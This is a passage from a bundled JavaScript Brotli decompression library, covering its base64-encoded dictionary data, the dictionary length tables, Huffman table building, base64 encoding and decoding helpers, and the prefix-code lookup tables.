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";

},{}],6:[function(require,module,exports){
/* Copyright 2013 Google Inc. All Rights Reserved.

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

   http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

   Collection of static dictionary words.
*/

var data = require('./dictionary-browser');
exports.init = function() {
  exports.dictionary = data.init();
};

exports.offsetsByLength = new Uint32Array([
     0,     0,     0,     0,     0,  4096,  9216, 21504, 35840, 44032,
 53248, 63488, 74752, 87040, 93696, 100864, 104704, 106752, 108928, 113536,
 115968, 118528, 119872, 121280, 122016,
]);

exports.sizeBitsByLength = new Uint8Array([
  0,  0,  0,  0, 10, 10, 11, 11, 10, 10,
 10, 10, 10,  9,  9,  8,  7,  7,  8,  7,
  7,  6,  6,  5,  5,
]);

exports.minDictionaryWordLength = 4;
exports.maxDictionaryWordLength = 24;

},{"./dictionary-browser":4}],7:[function(require,module,exports){
function HuffmanCode(bits, value) {
  this.bits = bits;   /* number of bits used for this symbol */
  this.value = value; /* symbol value or table offset */
}

exports.HuffmanCode = HuffmanCode;

var MAX_LENGTH = 15;

/* Returns reverse(reverse(key, len) + 1, len), where reverse(key, len) is the
   bit-wise reversal of the len least significant bits of key. */
function GetNextKey(key, len) {
  var step = 1 << (len - 1);
  while (key & step) {
    step >>= 1;
  }
  return (key & (step - 1)) + step;
}

/* Stores code in table[0], table[step], table[2*step], ..., table[end] */
/* Assumes that end is an integer multiple of step */
function ReplicateValue(table, i, step, end, code) {
  do {
    end -= step;
    table[i + end] = new HuffmanCode(code.bits, code.value);
  } while (end > 0);
}

/* Returns the table width of the next 2nd level table. count is the histogram
   of bit lengths for the remaining symbols, len is the code length of the next
   processed symbol */
function NextTableBitSize(count, len, root_bits) {
  var left = 1 << (len - root_bits);
  while (len < MAX_LENGTH) {
    left -= count[len];
    if (left <= 0) break;
    ++len;
    left <<= 1;
  }
  return len - root_bits;
}

exports.BrotliBuildHuffmanTable = function(root_table, table, root_bits, code_lengths, code_lengths_size) {
  var start_table = table;
  var code;            /* current table entry */
  var len;             /* current code length */
  var symbol;          /* symbol index in original or sorted table */
  var key;             /* reversed prefix code */
  var step;            /* step size to replicate values in current table */
  var low;             /* low bits for current root entry */
  var mask;            /* mask for low bits */
  var table_bits;      /* key length of current table */
  var table_size;      /* size of current table */
  var total_size;      /* sum of root table size and 2nd level table sizes */
  var sorted;          /* symbols sorted by code length */
  var count = new Int32Array(MAX_LENGTH + 1);  /* number of codes of each length */
  var offset = new Int32Array(MAX_LENGTH + 1);  /* offsets in sorted table for each length */

  sorted = new Int32Array(code_lengths_size);

  /* build histogram of code lengths */
  for (symbol = 0; symbol < code_lengths_size; symbol++) {
    count[code_lengths[symbol]]++;
  }

  /* generate offsets into sorted symbol table by code length */
  offset[1] = 0;
  for (len = 1; len < MAX_LENGTH; len++) {
    offset[len + 1] = offset[len] + count[len];
  }

  /* sort symbols by length, by symbol order within each length */
  for (symbol = 0; symbol < code_lengths_size; symbol++) {
    if (code_lengths[symbol] !== 0) {
      sorted[offset[code_lengths[symbol]]++] = symbol;
    }
  }

  table_bits = root_bits;
  table_size = 1 << table_bits;
  total_size = table_size;

  /* special case code with only one value */
  if (offset[MAX_LENGTH] === 1) {
    for (key = 0; key < total_size; ++key) {
      root_table[table + key] = new HuffmanCode(0, sorted[0] & 0xffff);
    }

    return total_size;
  }

  /* fill in root table */
  key = 0;
  symbol = 0;
  for (len = 1, step = 2; len <= root_bits; ++len, step <<= 1) {
    for (; count[len] > 0; --count[len]) {
      code = new HuffmanCode(len & 0xff, sorted[symbol++] & 0xffff);
      ReplicateValue(root_table, table + key, step, table_size, code);
      key = GetNextKey(key, len);
    }
  }

  /* fill in 2nd level tables and add pointers to root table */
  mask = total_size - 1;
  low = -1;
  for (len = root_bits + 1, step = 2; len <= MAX_LENGTH; ++len, step <<= 1) {
    for (; count[len] > 0; --count[len]) {
      if ((key & mask) !== low) {
        table += table_size;
        table_bits = NextTableBitSize(count, len, root_bits);
        table_size = 1 << table_bits;
        total_size += table_size;
        low = key & mask;
        root_table[start_table + low] = new HuffmanCode((table_bits + root_bits) & 0xff, ((table - start_table) - low) & 0xffff);
      }
      code = new HuffmanCode((len - root_bits) & 0xff, sorted[symbol++] & 0xffff);
      ReplicateValue(root_table, table + (key >> root_bits), step, table_size, code);
      key = GetNextKey(key, len);
    }
  }

  return total_size;
}

},{}],8:[function(require,module,exports){
'use strict'

exports.byteLength = byteLength
exports.toByteArray = toByteArray
exports.fromByteArray = fromByteArray

var lookup = []
var revLookup = []
var Arr = typeof Uint8Array !== 'undefined' ? Uint8Array : Array

var code = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
for (var i = 0, len = code.length; i < len; ++i) {
  lookup[i] = code[i]
  revLookup[code.charCodeAt(i)] = i
}

// Support decoding URL-safe base64 strings, as Node.js does.
// See: https://en.wikipedia.org/wiki/Base64#URL_applications
revLookup['-'.charCodeAt(0)] = 62
revLookup['_'.charCodeAt(0)] = 63

function getLens (b64) {
  var len = b64.length

  if (len % 4 > 0) {
    throw new Error('Invalid string. Length must be a multiple of 4')
  }

  // Trim off extra bytes after placeholder bytes are found
  // See: https://github.com/beatgammit/base64-js/issues/42
  var validLen = b64.indexOf('=')
  if (validLen === -1) validLen = len

  var placeHoldersLen = validLen === len
    ? 0
    : 4 - (validLen % 4)

  return [validLen, placeHoldersLen]
}

// base64 is 4/3 + up to two characters of the original data
function byteLength (b64) {
  var lens = getLens(b64)
  var validLen = lens[0]
  var placeHoldersLen = lens[1]
  return ((validLen + placeHoldersLen) * 3 / 4) - placeHoldersLen
}

function _byteLength (b64, validLen, placeHoldersLen) {
  return ((validLen + placeHoldersLen) * 3 / 4) - placeHoldersLen
}

function toByteArray (b64) {
  var tmp
  var lens = getLens(b64)
  var validLen = lens[0]
  var placeHoldersLen = lens[1]

  var arr = new Arr(_byteLength(b64, validLen, placeHoldersLen))

  var curByte = 0

  // if there are placeholders, only get up to the last complete 4 chars
  var len = placeHoldersLen > 0
    ? validLen - 4
    : validLen

  for (var i = 0; i < len; i += 4) {
    tmp =
      (revLookup[b64.charCodeAt(i)] << 18) |
      (revLookup[b64.charCodeAt(i + 1)] << 12) |
      (revLookup[b64.charCodeAt(i + 2)] << 6) |
      revLookup[b64.charCodeAt(i + 3)]
    arr[curByte++] = (tmp >> 16) & 0xFF
    arr[curByte++] = (tmp >> 8) & 0xFF
    arr[curByte++] = tmp & 0xFF
  }

  if (placeHoldersLen === 2) {
    tmp =
      (revLookup[b64.charCodeAt(i)] << 2) |
      (revLookup[b64.charCodeAt(i + 1)] >> 4)
    arr[curByte++] = tmp & 0xFF
  }

  if (placeHoldersLen === 1) {
    tmp =
      (revLookup[b64.charCodeAt(i)] << 10) |
      (revLookup[b64.charCodeAt(i + 1)] << 4) |
      (revLookup[b64.charCodeAt(i + 2)] >> 2)
    arr[curByte++] = (tmp >> 8) & 0xFF
    arr[curByte++] = tmp & 0xFF
  }

  return arr
}

function tripletToBase64 (num) {
  return lookup[num >> 18 & 0x3F] +
    lookup[num >> 12 & 0x3F] +
    lookup[num >> 6 & 0x3F] +
    lookup[num & 0x3F]
}

function encodeChunk (uint8, start, end) {
  var tmp
  var output = []
  for (var i = start; i < end; i += 3) {
    tmp =
      ((uint8[i] << 16) & 0xFF0000) +
      ((uint8[i + 1] << 8) & 0xFF00) +
      (uint8[i + 2] & 0xFF)
    output.push(tripletToBase64(tmp))
  }
  return output.join('')
}

function fromByteArray (uint8) {
  var tmp
  var len = uint8.length
  var extraBytes = len % 3 // if we have 1 byte left, pad 2 bytes
  var parts = []
  var maxChunkLength = 16383 // must be multiple of 3

  // go through the array every three bytes, we'll deal with trailing stuff later
  for (var i = 0, len2 = len - extraBytes; i < len2; i += maxChunkLength) {
    parts.push(encodeChunk(
      uint8, i, (i + maxChunkLength) > len2 ? len2 : (i + maxChunkLength)
    ))
  }

  // pad the end with zeros, but make sure to not forget the extra bytes
  if (extraBytes === 1) {
    tmp = uint8[len - 1]
    parts.push(
      lookup[tmp >> 2] +
      lookup[(tmp << 4) & 0x3F] +
      '=='
    )
  } else if (extraBytes === 2) {
    tmp = (uint8[len - 2] << 8) + uint8[len - 1]
    parts.push(
      lookup[tmp >> 10] +
      lookup[(tmp >> 4) & 0x3F] +
      lookup[(tmp << 2) & 0x3F] +
      '='
    )
  }

  return parts.join('')
}

},{}],9:[function(require,module,exports){
/* Copyright 2013 Google Inc. All Rights Reserved.

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

   http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

   Lookup tables to map prefix codes to value ranges. This is used during
   decoding of the block lengths, literal insertion lengths and copy lengths.
*/

/* Represents the range of values belonging to a prefix code: */
/* [offset, offset + 2^nbits) */
function PrefixCodeRange(offset, nbits) {
  this.offset = offset;
  this.nbits = nbits;
}

exports.kBlockLengthPrefixCode = [
  new PrefixCodeRange(1, 2), new PrefixCodeRange(5, 2), new PrefixCodeRange(9, 2), new PrefixCodeRange(13, 2),
  new PrefixCodeRange(17, 3), new PrefixCodeRange(25, 3), new PrefixCodeRange(33, 3), new PrefixCodeRange(41, 3),
  new PrefixCodeRange(49, 4), new PrefixCodeRange(65, 4), new PrefixCodeRange(81, 4), new PrefixCodeRange(97, 4),
  new PrefixCodeRange(113, 5), new PrefixCodeRange(145, 5), new PrefixCodeRange(177, 5), new PrefixCodeRange(209, 5),
  new PrefixCodeRange(241, 6), new PrefixCodeRange(305, 6), new PrefixCodeRange(369, 7), new PrefixCodeRange(497, 8),
  new PrefixCodeRange(753, 9), new PrefixCodeRange(1265, 10), new PrefixCodeRange(2289, 11), new PrefixCodeRange(4337, 12),
  new PrefixCodeRange(8433, 13), new PrefixCodeRange(16625, 24)
];

exports.kInsertLengthPrefixCode = [
  new PrefixCodeRange(0, 0), new PrefixCodeRange(1, 0), new PrefixCodeRange(2, 0), new PrefixCodeRange(3, 0),
  new PrefixCodeRange(4, 0), new PrefixCodeRange(5, 0), new PrefixCodeRange(6, 1), new PrefixCodeRange(8, 1),
  new PrefixCodeRange(10, 2), new PrefixCodeRange(14, 2), new PrefixCodeRange(18, 3), new PrefixCodeRange(26, 3),
  new PrefixCodeRange(34, 4), new PrefixCodeRange(50, 4), new PrefixCodeRange(66, 5), new PrefixCodeRange(98, 5),
  new PrefixCodeRange(130, 6), new PrefixCodeRange(194, 7), new PrefixCodeRange(322, 8), new PrefixCodeRange(578, 9),
  new PrefixCodeRange(1090, 10), new PrefixCodeRange(2114, 12), new PrefixCodeRange(6210, 14), new PrefixCodeRange(22594, 24),
];

exports.kCopyLengthPrefixCode = [
  new PrefixCodeRange(2, 0), new PrefixCodeRange(3, 0), new PrefixCodeRange(4, 0), new PrefixCodeRange(5, 0),
  new PrefixCodeRange(6, 0), new PrefixCodeRange(7, 0), new PrefixCodeRange(8, 0), new PrefixCodeRange(9, 0),
  new PrefixCodeRange(10, 1), new PrefixCodeRange(12, 1), new PrefixCodeRange(14, 2), new PrefixCodeRange(18, 2),
  new PrefixCodeRange(22, 3), new PrefixCodeRange(30, 3), new PrefixCodeRange(38, 4), new PrefixCodeRange(54, 4),
  new PrefixCodeRange(70, 5), new PrefixCodeRange(102, 5), new PrefixCodeRange(134, 6), new PrefixCodeRange(198, 7),
  new PrefixCodeRange(326, 8), new PrefixCodeRange(582, 9), new PrefixCodeRange(1094, 10), new PrefixCodeRange(2118, 24),
];

exports.kInsertRangeLut = [
  0, 0, 8, 8, 0, 16, 8, 16, 16,
];

exports.kCopyRangeLut = [
  0, 8, 0, 8, 16, 0, 16, 8, 16,
];

},{}],10:[function(require,module,exports){
function BrotliInput(buffer) {
  this.buffer = buffer;
  this.pos = 0;
}

BrotliInput.prototype.read = function(buf, i, count) {
  if (this.pos + count > this.buffer.length) {
    count = this.buffer.length - this.pos;
  }

  for (var p = 0; p < count; p++)
